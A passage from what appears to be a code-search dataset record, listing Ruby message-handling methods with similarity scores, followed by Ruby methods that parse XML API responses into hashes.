msg.speak \"no new issues since I last checked #{@lastlast} ago\" \\\n if !check_jira(msg)\n rescue \n msg.speak \"sorry, we had trouble connecting to JIRA.\"\n end\n end", "def loop_for_incoming(config_file)\n\n STDERR.puts \"INFO: reading configuration file #{config_file}\"\n watched_directories = watch_configured_directories(config_file)\n watched_directories.each { |wd| wd.enqueue_incoming_packages }\n\n initial_mtime = File.stat(config_file).mtime\n while true\n sleep WatchConstants::DIRECTORY_SCAN_PAUSE\n current_mtime = File.stat(config_file).mtime\n if current_mtime > initial_mtime\n initial_mtime = current_mtime\n STDERR.puts \"INFO: configuration file #{config_file} was updated, re-reading\"\n watched_directories = watch_configured_directories(config_file)\n end\n watched_directories.each { |wd| wd.enqueue_incoming_packages }\n end\nend", "def reset!\n synchronize do\n @items = []\n @total_message_bytes = @default_message_bytes\n\n if @canceled\n @queue = []\n @publishing = false\n return false\n end\n\n refill_items\n\n return false unless @publishing\n if @items.empty?\n @publishing = false\n return false\n else\n return true if stopping?\n return true if interval_met?(@items.first.create_time) || batch_full_by_count?\n if @queue.empty?\n @publishing = false\n return false\n end\n end\n end\n true\n end", "def wait_for_message\n @message_window.update\n while $game_message.visible \n update_basic\n end\n end", "def new_messages\r\n self.unread_messages\r\n end", "def new_messages\r\n self.unread_messages\r\n end", "def read_new_messages(last_id=nil)\n newer = \"\"\n newer = \"?newer_than=#{last_id.to_s}\" if last_id\n # Get latest 20 messages\n begin\n reply = @access_token.get(\"/api/v1/messages.xml\" + newer)\n \n# File.open(\"tmp/dump.xml\", \"w\") do |f|\n# f.write reply.body \n# end\n \n # Parse xml. doc has xml, updates has the messages\n doc, @updates = Hpricot::XML(reply.body), []\n \n # First get the names of users\n @names = {}\n (doc/:reference).each do |ref|\n next unless ref.at('type').innerHTML.include? 'user'\n id = ref.at('id').innerHTML\n @names[id] = ref.at('name').innerHTML\n end\n \n # Then the messages\n last_id = 0\n (doc/:message).each do |msg|\n id = msg.at('id').innerHTML\n last_id = id.to_i if last_id < id.to_i\n from = msg.at('sender-id').innerHTML # get the id\n from = @names[from] if @names[from] # get name from id\n time = msg.at('created-at').innerHTML\n content= msg.at('body').at('plain').innerHTML\n @updates << {:id => id, :from => from, :content => content, :time => time}\n end\n \n # Show\n# render :text => make_html(updates, names)\n rescue StandardError, Timeout::Error\n last_id = 0 # Timeouts are very common\n end\n last_id == 0 ? nil : last_id\n end", "def waitForReplySearch(pattern)\r\n while true\r\n servermsg = $oculussock.gets.strip\r\n puts servermsg\r\n if servermsg =~ pattern then break end\r\n\tend\r\n return servermsg\r\nend", "def perform_loop_update_for(message)\n case message.type\n when :killed\n puts \"You scored #{@score.final_points} point(s)!\"\n notify_all_targets_of_type(:application)\n notify_all_targets_of_type_with_message(GameSettings.selected_gui, message)\n unsubscribe(GameSettings.selected_gui)\n shut_down_threads\n return\n when :ticker\n @map.handle_ticker_notification\n else\n @map.handle_user_input_notification_for(message)\n end\n notify_all_targets_of_type(GameSettings.selected_gui)\n end", "def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end", "def ready?\n warn \"Hmm, too many records in queue: #{queue}\" if queue.size > delay+1\n queue.size > delay\n end", "def keep message\n @messages << message\n end", "def chatPage(text, unique_tags)\n y = unique_tags.length - 1\n for i in 0..y\n Thread.new(i) { |i2|\n tagHash = Hash_Func(unique_tags[i2])\n\n while @chatAckWait != nil && @chatAckWait[tagHash] != nil && \\\n (@chatAckWait[tagHash] == 1 || @chatAckWait[tagHash] == 2)\n end\n @chatAckWait[tagHash] = 1 # Set flag guarding chat messages for this node to 1\n chatMsg = {:type => \"CHAT\", :target_id => tagHash, :sender_id => @guid, :Tag => unique_tags[i2],\n :post => text}.to_json\n nh, m, n = nextHop(tagHash)\n if tagHash == @guid\n # Just send the message to our own respond without actually sending\n chatMsg = JSON.parse(chatMsg)\n respond(chatMsg)\n @chatAckWait[tagHash] = 0\n return\n end\n @socket.send chatMsg, 0, nh.ip, nh.port\n t = Time.now.sec # Wait 30 seconds for response\n t2 = t + 250\n while t < t2\n if @chatAckWait[tagHash] == 2 # If a flag indicates response break\n break\n end\n k = Time.now.sec\n if k != t\n t += 1\n end\n end\n\n if @chatAckWait[tagHash] != 2\n puts \" \"\n print @name, \" Get no acknowledgment in checking route\"\n puts \" \"\n routeChecker(tagHash)\n else\n puts \" \"\n print @name, \"Successful Chat!\"\n puts \" \"\n end\n @chatAckWait[tagHash] = 0\n }\n end\n end", "def sleeping?\n @msg_queue.empty?\n end", "def retrieve_messages\n if FileTest::file? request_file and not is_locked? request_file\n\n lock_file request_file\n\n requests = File.read(request_file).split(\"\\n\")\n requests.each do |request|\n @notifier_engine.log \"New request: #{request}\"\n parse_request request.split(\"\\t\")\n end\n\n open(request_file, 'w') {}\n\n unlock_file request_file\n end\n end", "def wait_for_message\n loop do\n message = gets.strip\n publish_message(@current_user, message)\n end\n end", "def worker_check_interval(interval); end", "def tmp_get_msg\n while TRUE do\n puts '='*20 + \"\\n\" + 'Enter the message please: '\n @pc_message_queue << gets.chomp\n end\n end", "def new_messages_notification(mailbox_name,mailbox_link,new_message_count,total_message_count)\n\t\tmessage_multiple = new_message_count > 1 ? 'msgs' : 'msg'\n\t\tmessage_desc = new_message_count > 1 ? 'Click here to read them.' : 'Click here to read it.'\n\n\t\t@growl.notify(\n\t\t\tkind = RESPONSIVE_KIND,\n\t\t\ttitle = \"#{new_message_count} new #{message_multiple} | #{mailbox_name} (#{total_message_count})\",\n\t\t\tdescription = message_desc,\n\t\t\tcontext = mailbox_name, \n\t\t\tsticky = true, \n\t\t\tpriority = 0\n\t\t)\n\tend", "def receive_message\n #$>.puts \"Received complete message\"\n true\n end", "def queued_messages?\n @pointer < @buffer.length\n end", "def non_atomic_create\n messages_requested = @room.messages_requested.increment\n @room.send_message_to_requested_channel(@room.messages_requested.value)\n if @room.messages_posted <= @room.max_messages\n if @message.save\n @room.messages_posted.increment\n @room.send_message_to_posted_channel(@room.messages_posted.value)\n @room.send_message_to_chat_channel(render_message_to_string)\n render nothing: true\n else\n logger.info @message.errors.inspect\n end\n else\n render nothing: true\n end\n end", "def worker_messages(count, seconds = MAX_TIMEOUT)\n messages = []\n begin\n Timeout.timeout(seconds) do\n while messages.length < count\n messages << TomQueue.test_logger.readline\n end\n end\n rescue Timeout::Error\n end\n messages\nend", "def get_messages\n @connection.search(@filter).each do |message|\n body = @connection.fetch(message, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n @processor.process(body)\n rescue StandardError => error\n Mailman.logger.error \"Error encountered processing message: #{message.inspect}\\n #{error.class.to_s}: #{error.message}\\n #{error.backtrace.join(\"\\n\")}\"\n next\n end\n @connection.store(message, \"+FLAGS\", @done_flags)\n end\n # Clears messages that have the Deleted flag set\n @connection.expunge\n end", "def read_loop\n loop do\n msg = connection.read_msg\n msg.received_at = Time.now\n handle(msg)\n end\n rescue StandardError => e\n self << [:raise_error, e]\n end", "def receiveMessage(client)\n while msg_str = client.gets\n # Ensures the message is valid\n if (msg_str.length >= Msg::LENGTH + 1 and Msg.new(msg_str.chop).validate)\n $mutex.synchronize {\n msg = Msg.new(msg_str.chop)\n fragment_seq = msg.getConfig(\"fragment_seq\")\n fragment_num = msg.getConfig(\"fragment_num\")\n\n # Checks to see if the message was fragmented\n if fragment_seq == 0\n runOperation(msg, client)\n else\n $receiver_buffer << msg\n if fragment_num == fragment_seq\n assembled_msg = assembleFragments($receiver_buffer)\n $receiver_buffer.clear()\n runOperation(assembled_msg, client)\n end\n end\n } \n end\n # We need this sleep because Ruby will have a difficult time with memory management\n sleep(0.01)\n end\nend", "def message(message, seconds = MAX_TIMEOUT)\n received = false\n Timeout.timeout(seconds) do\n while !received do\n output = TomQueue.test_logger.readline\n received = !!(output =~ /#{Regexp.escape(message)}/)\n end\n end\n true\nrescue Timeout::Error\n false\nend", "def wait_all_sent\n verify_not_closed\n @clients.each do |pub|\n pub.wait_all_sent\n end\n end", "def new_sms_updates(content, tonumber)\n\t@client.messages.list.each do |message|\n\tRails.logger.debug(message.body)\n\tend\n end" ]
[ "0.71887225", "0.6921472", "0.6517167", "0.6386165", "0.63390267", "0.63080734", "0.62383354", "0.62111443", "0.6200135", "0.61960334", "0.6171409", "0.61618567", "0.6056954", "0.6051132", "0.60491335", "0.5997053", "0.5992488", "0.59821445", "0.5977466", "0.59728944", "0.5944144", "0.59402126", "0.5937966", "0.5923972", "0.59004045", "0.5869786", "0.5867443", "0.5858221", "0.5853737", "0.5837025", "0.5837025", "0.5830516", "0.5813113", "0.58000994", "0.57977253", "0.5777361", "0.57661796", "0.57598156", "0.5741895", "0.5739398", "0.5736107", "0.5724982", "0.5722036", "0.5722036", "0.5721031", "0.5720457", "0.57177246", "0.57081705", "0.57072", "0.5677954", "0.56695944", "0.5669496", "0.5657745", "0.56519455", "0.5651816", "0.56510854", "0.5644986", "0.562364", "0.56219006", "0.5601938", "0.5579344", "0.55756164", "0.5573763", "0.5564983", "0.55639", "0.55574447", "0.55562145", "0.5552782", "0.554955", "0.5547676", "0.55471724", "0.5539063", "0.553856", "0.55367893", "0.55346686", "0.5531876", "0.5531876", "0.55264133", "0.55193365", "0.5517058", "0.5516793", "0.55091494", "0.5496882", "0.549141", "0.5481655", "0.54771984", "0.54770195", "0.5467448", "0.54670537", "0.5466497", "0.54663104", "0.5465738", "0.54652023", "0.5461655", "0.5457421", "0.54565316", "0.5451161", "0.54500234", "0.54374725", "0.5430553" ]
0.726368
0
returns a Hash object from the flat XML records returned from the response
def query(s) response = RestClient.get "http://#{@host}/api/" + s Rexle.new(response.body).root.xpath('./*').inject({}) do |r,x| x.text ? r.merge(x.name => x.text.unescape) : r end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_h\n doc = Nokogiri::XML raw.body\n hash = Hash.from_xml doc.to_xml\n Hashie::Mash.new(symbolize_keys_deep(hash))\n end", "def extract_xmls(dc_response_parser)\n dc_response = dc_response_parser.for_tag(\"DCResponse\").\n first[\"ContextData\"][\"Field\"]\n\n dc_response.map do |e|\n begin\n Hash.from_xml(e)\n rescue\n end\n end.compact\n end", "def parse( data )\n Hashie::Mash.new( \n Hash.from_xml( data ) )\n end", "def parse_response(data)\n doc = REXML::Document.new(data)\n\n values = {}\n\n elements = doc.elements[\"/OPS_envelope/body/data_block/dt_assoc\"].select { |item|\n item.is_a? REXML::Element\n }\n\n build_xml_hash(elements)\n end", "def to_hash\n strip_content(xml.to_hash)\n end", "def make_hash_for_record(root_record)\n extracted_elements = Hash.new\n root_record.elements.each('control/sourcerecordid') do |control|\n extracted_elements['sourcerecordid'] = control.text\n\n end\n\n\n root_record.elements.each('display') do |displaynode|\n displaynode.each_element_with_text do |displayelement|\n\n key = displayelement.name\n if extracted_elements.has_key? key\n if extracted_elements[key].is_a?(Array)\n value = extracted_elements[key]\n else\n value = [extracted_elements[key]]\n end\n value << displayelement.text\n else\n value = displayelement.text\n end\n extracted_elements[key] = value\n end\n end\n\n root_record.elements.each('links/linktorsrc') do |links|\n key = \"linktorsrc\"\n if extracted_elements.has_key? key\n if extracted_elements[key].is_a?(Array)\n value = extracted_elements[key]\n else\n value = [extracted_elements[key]]\n end\n value << links.text\n else\n value = links.text\n end\n extracted_elements[key] = value\n\n end\n\n return extracted_elements\nend", "def to_hash\n XMLUtils.to_hash xml\n end", "def structure_records_from_flat_hash h\n rtn = {}\n rtn[:klass] = h.delete :klass\n rtn[:code] = h.delete :code\n rtn[:xlate] = h.extract! :name, :note, :desc\n rtn[:no_xlate] = h\n return rtn\n end", "def from_xml_to_hash(xml)\n Hash.from_xml(xml)\n end", "def xml_to_hash(xml) #:nodoc:\r\n h = Hash.new\r\n xml.elements.each{|e| h[e.name] = e.text }\r\n h \r\n end", "def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end", "def parse_result_response(result)\n h = {}\n h[\"LogicalName\"] = h[\"type\"] = result.elements[\"b:LogicalName\"].text\n h[\"Id\"] = h[\"id\"] = result.elements[\"b:Id\"].text\n\n attributes = XML::MessageParser.parse_key_value_pairs(result.elements[\"b:Attributes\"])\n h.merge(attributes)\n end", "def data\n @data ||= begin\n xml = Hash.from_xml(response.body)\n xml['TransferTo'].symbolize_keys if xml && xml['TransferTo']\n end\n end", "def to_hash\n doc = ::Nokogiri::XML( self.response )\n hash = {}\n doc.at_css(\"Response\").element_children.each do |attribute|\n hash[attribute.name.underscore.to_sym] = attribute.inner_text\n end\n hash[:valid] = doc.at_css(\"Response\")['valid']\n hash\n end", "def fix_hash(xml_result)\n return nil if xml_result.nil? or (xml_result.class != Hash) or xml_result[\"xmldata\"].nil?\n hash = xml_result[\"xmldata\"]\n\n key = hash.keys.first\n hash[key] = to_arr_if_needed hash[key]\n\n #fix same issue for orderDetails if more then one product for order\n if key == \"Orders\"\n hash[\"Orders\"].each do |order|\n if order[\"OrderDetails\"]\n order[\"OrderDetails\"] = to_arr_if_needed order[\"OrderDetails\"]\n end\n end\n end\n return hash\n end", "def get_hash_from_xml_object(obj, name)\n case obj[name.downcase]\n when Array\n return obj[name.downcase]\n when Hash\n # When there is only one item in the collection, Hash.from_xml\n # creates a hash relationship rather than an array.\n return [ obj[name.downcase] ]\n else # Something went wrong...\n raise \"Bad object: does not respond to '#{name.downcase}': #{obj.inspect}\"\n end\n end", "def xml_hash(xml)\n nori = Nori.new(strip_namespaces: true, :convert_tags_to => lambda { |tag| tag.snakecase.to_sym })\n nori.parse(xml)\n end", "def parse_response(response)\n response = Hash.from_xml(response.parsed_response.gsub(\"\\n\", \"\")) if response.parsed_response.is_a? String\n response = sanitize_response_keys(response)\n end", "def parse(xml)\n # \"<?xml version=\\\"1.0\\\"?><response><receipt>\".\n # \"<ReceiptId>Global Error Receipt</ReceiptId>\".\n # \"<ReferenceNum>null</ReferenceNum>\n # <ResponseCode>null</ResponseCode>\".\n # \"<ISO>null</ISO> \n # <AuthCode>null</AuthCode>\n # <TransTime>null</TransTime>\".\n # \"<TransDate>null</TransDate>\n # <TransType>null</TransType>\n # <Complete>false</Complete>\".\n # \"<Message>null</Message>\n # <TransAmount>null</TransAmount>\".\n # \"<CardType>null</CardType>\".\n # \"<TransID>null</TransID>\n # <TimedOut>null</TimedOut>\".\n # \"</receipt></response> \n\n response = {:message => \"Global Error Receipt\", :complete => false}\n\n xml = REXML::Document.new(xml) \n\n xml.elements.each('//receipt/*') do |node|\n\n response[node.name.underscore.to_sym] = normalize(node.text)\n\n end unless xml.root.nil?\n\n response\n end", "def to_h\n {\n xmlns: fields.xmlns,\n entry: fields.to_h\n }\n end", "def dissect_to_record_hashes\n end", "def parse_response(response)\n response = Hash.from_xml( response.parsed_response.gsub(\"\\n\", \"\") ) if response.parsed_response.is_a? String\n response = sanitize_response_keys(response)\n end", "def to_hash\n result = @response[:magic_response][:magic_result][:diffgram]\n result = strip_attributes(result)\n result = convert_dates_to_utc(result)\n\n if result.nil?\n return []\n end\n\n # All magic responses wrap their result in an ActionResponse element\n result = result.values.first\n\n # Often the first element in ActionResponse is an element\n # called ActionInfo, but in some cases it has a different name\n # so we just get the first element.\n result.values.first\n end", "def parse_xml(xml)\n hash = XmlSimple.xml_in(xml)\n hash['query']#return just the results of the query\nend", "def parse_xml_collection(xml_text)\n hash = Hash.from_xml(replace_nested_xml_tags(xml_text))\n if 1 == hash.size && hash.first.last.is_a?(Array)\n tag_name = hash.keys.first.singularize\n return get_hash_array_from_xml_object(hash, tag_name)\n else\n raise \"Bad object: Unexpected format: #{hash.inspect}\"\n end\n end", "def from_xml_to_hash(xml)\n begin\n Hash.from_xml(xml)\n rescue REXML::ParseException => e\n {\n 'Response' => {\n 'Response_Code' => '01',\n 'Response_Text' => error_message_from_invalid_xml(xml)\n }\n }\n end\n end", "def get_hash(xml,statname=:all)\n statnames = STATNAMES if statname == :all\n\n h = Hash.new{|k,v| k[v] = Hash.new}\n statnames.each do |statname|\n xml.xpath(\"configResolveClasses/outConfigs/#{statname}\").each do |stat|\n dn = stat.attributes['dn'].value\n h[statname][dn] = Hash.new\n stat.attributes.each do |attr,value|\n next if attr == 'dn'\n h[statname][dn][attr] = value.value\n end\n end\n end\n return h\n end", "def parseXML()\n @transform = PoortegoTransform.new('ParsedResponse')\n result_href = XmlSimple.xml_in(@xml_response.to_s)\n \n unless (result_href.has_key?('ResponseData'))\n return\n end\n \n (result_href['ResponseData'])[0].each do |response_key, response_val|\n if (response_key == 'Entities')\n parse_entities_hash(response_val)\n elsif (response_key == 'Links')\n parse_links_hash(response_val)\n else\n puts \"Invalid ResponseData key\"\n end\n end\n \n (result_href['ResponseMessages'])[0].each do |message_key, message_val|\n if (message_key == 'Message')\n parse_message_hash(message_val)\n else\n puts \"Invalid ResponseMessages key\"\n end\n end\n \n end", "def to_h\n pairs = first_child.text.each_line.collect do |line|\n key, value = parse_key_value_line(line)\n end\n Hash[pairs]\n end", "def parse_response(response_xml)\n doc = Nokogiri::XML(response_xml)\n @sites = doc.search('getContentServicesByContainerType5Return/table/value/elements').find_all { |s| s.at(\"country\").text == \"US\" }.map { |c| {\n # @sites = doc.search('getContentServicesByContainerType5Return/table/value/elements').map {|c| {\n :content_service_id => c.elements[0].text, \n :site_name => c.elements[2].text, \n :organization_name => c.elements[4].text,\n :login_form => c.search('loginForm/componentList/elements', 'loginForm/componentList/elements/fieldInfoList/elements').map { |field| \n field.elements.inject({}) { |h, c| \n if ['validValues', 'displayValidValues'].include?(c.name)\n h[c.name.to_sym] = c.elements.map { |c| c.text }\n else\n h[c.name.to_sym] = c.text \n end\n h \n } \n }\n }\n }; true \n end", "def oci_rows_to_hash(response)\n response_hash = Hash.new\n table_array = Array.new\n table_name = \"\"\n parse_response = REXML::Document.new(response)\n\n response_hash = Hash.new\n parse_response.elements[\"//command/\"].each do |ele|\n name = ele.name\n value = parse_response.elements['//'+name].text\n if name =~ /\\w+Table/\n table_array = oci_table_to_array(response,name)\n table_name = name\n end\n response_hash[name.to_sym] = value\n\n #If response contained table elements add array of these elements into hash with key == <tableName>\n response_hash[table_name.to_sym] = table_array unless table_array.empty?\n end\n return response_hash\n\n end", "def metadata\n Hash.from_xml(self[:metadata])['hash']\n end", "def hash_from_xml( element )\n result = {}\n \n element.each do |node|\n unless excluded?( node.name )\n \n result[ node.name ] = [] if unbounded?( node.name ) && result[ node.name ].nil?\n\n if node.children.children.any?\n if result[ node.name ].is_a?( Array )\n result[ node.name ] << hash_from_xml( node.children )\n else\n result[ node.name ] = hash_from_xml( node.children )\n end\n else\n if result[ node.name ].is_a?( Array )\n result[ node.name ] << node.content\n else\n result[ node.name ] = node.content\n end\n end\n\n end\n end\n \n result\n end", "def hashedxml(node)\n \n node.elements.map do |element|\n \n attributes = element.attributes.clone\n \n # Although attribute last_modified isn't used by rexle-diff it is \n # created by Dynarex whenever a record is created or updated. \n # This would of course cause the record to be flagged as changed even \n # when the element value itself hashn't changed.\n #\n %i(created last_modified).each {|x| attributes.delete x}\n x = element.elements.length > 0 ? '' : 0\n [element.name, attributes, element.text.to_s.strip, x].hash\n \n end\n end", "def original_hash\n @original_hash ||= Savon::SOAP::XML.to_hash to_xml\n end", "def _parseReportResponse(xml)\n # Parse the response body\n doc = Nokogiri::XML(xml)\n # Remove the namespaces\n doc.remove_namespaces!\n response = {}\n # Extract the response data from the ProcessTransactionResult node\n doc.xpath(\"//transactions//transaction//*\").each do |node|\n response[node.name] = node.children.text\n end\n return response\n end", "def hash\n return unless doc_value?\n result['doc']['hash']\n end", "def extract_values_from_xml(xml)\n if xml =~ /\\<.*\\>/\n x = Hpricot::XML(xml)\n new_hash = (x/\"form/field\").map {|field|\n {field[:id].to_s => (field[:value] || field.inner_text)}\n }.inject{|i, j| i.merge(j) }\n logger.info \"Received XML body:\\n#{xml}\\nMapped to: #{new_hash}\"\n new_hash\n end\n end", "def to_hash\n @to_hash ||= RISBN::NokogiriUtils.hash_from_node(xml_nodes)[:entry]\n end", "def to_hash\n hash = {}\n\n elements.each do |name, value|\n if value.is_a?(Angus::Remote::Response::Hash)\n hash[name] = value.to_hash\n elsif value.is_a?(Array)\n hash[name] = build_hash_from_array(value)\n else\n hash[name] = value\n end\n end\n\n hash\n end", "def convert_result_to_hash(custom_metadata)\n request = {}\n document = REXML::Document.new(custom_metadata)\n REXML::XPath.each(document, \"//customMetadataResponse/data/customMetadata[namespace=\\\"urn:nexus/user#\\\"]\") do |row|\n request[row.elements[\"key\"].text.strip] = row.elements[\"value\"].text.strip\n end\n request\n end", "def parse(body)\n puts \"DATACASH RESPONSE\"\n puts body\n\n response = {}\n xml = REXML::Document.new(body)\n root = REXML::XPath.first(xml, \"//Response\")\n\n root.elements.to_a.each do |node|\n parse_element(response, node)\n end\n\n response\n end", "def to_jaxb_json_hash\n _h = {}\n if !browseResultEntries.nil?\n _ha = Array.new\n browseResultEntries.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['browseResultEntries'] = _ha\n end\n return _h\n end", "def parse_xml(xml_text)\n hash = Hash.from_xml(replace_nested_xml_tags(xml_text))\n \n if 1 == hash.size && hash.first.last.is_a?(Hash)\n tag_name = hash.keys.first.singularize\n return get_hash_from_xml_object(hash, tag_name)\n else\n raise \"Bad object: Unexpected format: #{hash.inspect}\"\n end\n end", "def parse(xml)\n response = {}\n\n xml = REXML::Document.new xml \n\n # every Wirecard-Response, success or failure, must have a status and transaction-state\n status = REXML::XPath.first(xml, \"//status\")\n transaction_id = REXML::XPath.first(xml, \"//transaction-id\")\n request_id = REXML::XPath.first(xml, \"//request-id\")\n transaction_state = REXML::XPath.first(xml, \"//transaction-state\")\n \n if status and transaction_state and transaction_state.text\n\n # either extract response values...\n response[:TransactionState] = transaction_state.text\n response[:Code] = status.attributes[\"code\"]\n response[:Description] = status.attributes[\"description\"]\n response[:Severity] = status.attributes[\"severity\"]\n response[:TransactionId] = transaction_id.text if transaction_id\n response[:RequestId] = request_id.text if request_id\n\n else\n # ...or add general failure message\n response[:Message] = \"No valid XML response message received. \\nPropably wrong credentials supplied with HTTP header.\"\n end\n\n response\n end", "def from_xml_data(data)\n if data.is_a?(Hash) && data.keys.size == 1\n data.values.first\n else\n data\n end\n end", "def from_xml_data(data)\n if data.is_a?(Hash) && data.keys.size == 1\n data.values.first\n else\n data\n end\n end", "def extract_schema(records)\n (records || []).inject({}) do |memo, record|\n key = (record['rel'] || 'unknown').split('#').last.to_sym\n value = cleanse_gdata(record.except('rel'))\n value[:primary] = true if value[:primary] == 'true' # cast to a boolean for primary entries\n value[:protocol] = value[:protocol].split('#').last if value[:protocol] && value[:protocol].present? # clean namespace from handle protocols\n value = value[:$t] if value[:$t].present? # flatten out entries with keys of '$t'\n value = value[:href] if value.is_a?(Hash) && value.keys == [:href] # flatten out entries with keys of 'href'\n memo[key] = value\n memo\n end\n end", "def parse_response(event)\r\n iter = event.messageIterator()\r\n result = Hash.new\r\n \r\n while iter.hasNext()\r\n \r\n message = iter.next()\r\n raise Bberg::BbergException.new(\"Got a response with incorrect correlation id!\") if message.correlationID != @req_id\r\n msg_type = message.messageType().toString()\r\n raise Bberg::BbergException.new(\"Expected message of type ReferenceDataResponse but got #{msg_type}\") if msg_type != \"ReferenceDataResponse\"\r\n \r\n security_data_array = message.getElement(\"securityData\")\r\n (0..(security_data_array.numValues - 1)).each do |sec_num|\r\n security_data = security_data_array.getValueAsElement(sec_num)\r\n security_name = security_data.getElementAsString(\"security\")\r\n field_data = security_data.getElement(\"fieldData\")\r\n\r\n result[security_name] ||= Hash.new\r\n \r\n (0..(field_data.numElements - 1)).each do |field_num|\r\n field_element = field_data.getElement(field_num)\r\n values = if field_element.isArray\r\n process_array_type(field_element)\r\n else\r\n get_element_values(field_data, field_num)\r\n end\r\n result[security_name][field_element.name.toString] = values\r\n end\r\n end\r\n end\r\n result\r\n end", "def parse_save_response(response_xml)\n response = parse_response(response_xml)\n record = response.response_items.first if response.response_items.is_a?(Array)\n if record && record.is_a?(self.class)\n @attributes = record.attributes\n end\n self\n end", "def xml_to_array(xml_string)\n return Hash.from_xml(xml_string)\n end", "def parse_record\n @data = NamespaceArray.new\n document.xpath('//xmlns:xmlData').each do |xdata|\n xdata.children.each do |child|\n if child.element?\n @data << child\n end\n end\n end\n end", "def report_list_hash\r\n post = { \"token\" => @token }\r\n docxml = nessus_request('report/list', post)\r\n reports = Array.new\r\n docxml.root.elements['contents'].elements['reports'].each_element('//report') do |report|\r\n entry = Hash.new\r\n entry[:id] = report.elements['name'].text\r\n entry[:name] = report.elements['readableName'].text\r\n entry[:status] = report.elements['status'].text;\r\n entry[:timestamp] = report.elements['timestamp'].text;\r\n reports.push(entry) \r\n\t\tend\r\n return reports\r\n end", "def to_hash\n return @hash_cache if @hash_cache\n # Rails.logger.debug \"to_hash #{options.inspect} #{dump_xml}\"\n t0 = Time.now\n x = Benchmark.measure { @hash_cache = Xmlhash.parse(dump_xml) }\n @@xml_time += Time.now - t0\n # Rails.logger.debug \"after to_hash #{JSON.pretty_generate(@hash_cache)}\"\n # puts \"to_hash #{self.class} #{x}\"\n @hash_cache\n end", "def to_jaxb_json_hash\n _h = {}\n _h['id'] = id.to_jaxb_json_hash unless id.nil?\n _h['eventDate'] = eventDate.to_jaxb_json_hash unless eventDate.nil?\n _h['lastUpdated'] = lastUpdated.to_jaxb_json_hash unless lastUpdated.nil?\n _h['versionId'] = versionId.to_jaxb_json_hash unless versionId.nil?\n _h['tour'] = tour.to_jaxb_json_hash unless tour.nil?\n _h['lastFmEventId'] = lastFmEventId.to_jaxb_json_hash unless lastFmEventId.nil?\n _h['artist'] = artist.to_jaxb_json_hash unless artist.nil?\n _h['venue'] = venue.to_jaxb_json_hash unless venue.nil?\n if !sets.nil?\n _ha = Array.new\n sets.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['sets'] = _ha\n end\n _h['info'] = info.to_jaxb_json_hash unless info.nil?\n _h['url'] = url.to_jaxb_json_hash unless url.nil?\n return _h\n end", "def process_xml(xml)\n\t\t\txml.elements.each(\"*/*\") do |e|\n\t\t\t\tname = \"\"\n\t\t\t\te.attributes.each do |a|\n\t\t\t\t\tif a[0] == \"name\"\n\t\t\t\t\t\tname = a[1]\n\t\t\t\t\t\t@hash[name] = Hash.new\n\t\t\t\t\telse\n\t\t\t\t\t\t@hash[name][a[0]] = a[1]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def hash\n @hash ||= opts[:parser].parse(data.to_s.gsub(/\\<!\\[CDATA\\[([^\\]]+)\\]\\]\\>/) {$1})\n end", "def to_h\n Hash[all_entries]\n end", "def to_hash(array)\n array.map do |item| \n Hash.from_xml(\"<root>#{item.elem.inner_html}</root>\")['root']\n end\n end", "def parse(body)\n xml = Nokogiri::XML(body)\n {\n :unique_id => xml.xpath('//Response/Transaction/Identification/UniqueID').text,\n :status => translate_status_code(xml.xpath('//Response/Transaction/Processing/Status/@code').text),\n :reason => translate_status_code(xml.xpath('//Response/Transaction/Processing/Reason/@code').text),\n :message => xml.xpath('//Response/Transaction/Processing/Return').text\n }\n end", "def parse xml\n begin\n output = Crack::XML.parse xml\n rescue Exception => e\n puts \"Exception parsing message #{e.message}\"\n return {}\n end\n end", "def results\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_results(filter: \"first=1 rows=#{MAX_RESULTS} task_id=#{id}\", details: 1)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end", "def build_xml_hash(elements)\n data_hash = {}\n\n elements.each do |elem|\n key = elem.attributes['key']\n\n if elem.elements.size > 0\n if key.nil?\n data_hash.merge!(build_xml_hash(elem.elements))\n else\n data_hash[key] = build_xml_hash(elem.elements)\n end\n else\n data_hash[key] = elem.text unless key.nil?\n end\n end\n\n data_hash\n end", "def to_jaxb_json_hash\n _h = {}\n _h['total'] = total.to_jaxb_json_hash unless total.nil?\n _h['page'] = page.to_jaxb_json_hash unless page.nil?\n _h['itemsPerPage'] = itemsPerPage.to_jaxb_json_hash unless itemsPerPage.nil?\n return _h\n end", "def hash\n @elements.hash\n end", "def hash\n @elements.hash\n end", "def from_xml(xml_io)\n\tbegin\n\t\tresult = Nokogiri::XML(xml_io)\n\t\treturn { result.root.name.to_sym => xml_node_to_hash(result.root)}\n\trescue Exception => e\n\t\tputs e.backtrace\n\t\traise\n\tend\nend", "def build_hash_documents( dif_xml=nil )\n difs = []\n self.document = load_xml( dif_xml ) unless dif_xml.nil?\n \n unless document.nil?\n difs = document_to_object\n else\n raise ArgumentError, \"No XML provided!\"\n end\n\n difs\n end", "def document_to_object( xpath = XPATH, namespace = NAMESPACE)\n obj = []\n \n document.xpath( xpath, namespace ).each do | node |\n hash_data = hash_from_xml( node.children )\n obj << hash_data\n end\n \n obj\n end", "def elements(); @records.get(Elements); end", "def convert_voucher_to_details(voucher)\n details = []\n details << voucher.to_xml_hash\n details << voucher.details.map(&:to_xml_hash)\n details\n end", "def get_faults_hash(xml)\n \n h = Hash.new{|k,v| k[v] = Hash.new}\n xml.xpath(\"configResolveClasses/outConfigs/faultInst\").each do |fault|\n code = fault.attributes['code'].value\n dn = fault.attributes['dn'].value\n h[code][dn] = Hash.new\n fault.attributes.each do |attr,value|\n next if attr == 'dn'\n h[code][dn][attr] = value.value\n end\n end\n \n return h\n \n end", "def parse(xml)\n\n document = Nokogiri::XML(xml)\n entries = document.xpath(@xpath)\n @results.concat(entries.to_a)\n\n {:entries => entries, :nextpage => atomlink(document)}\n end", "def 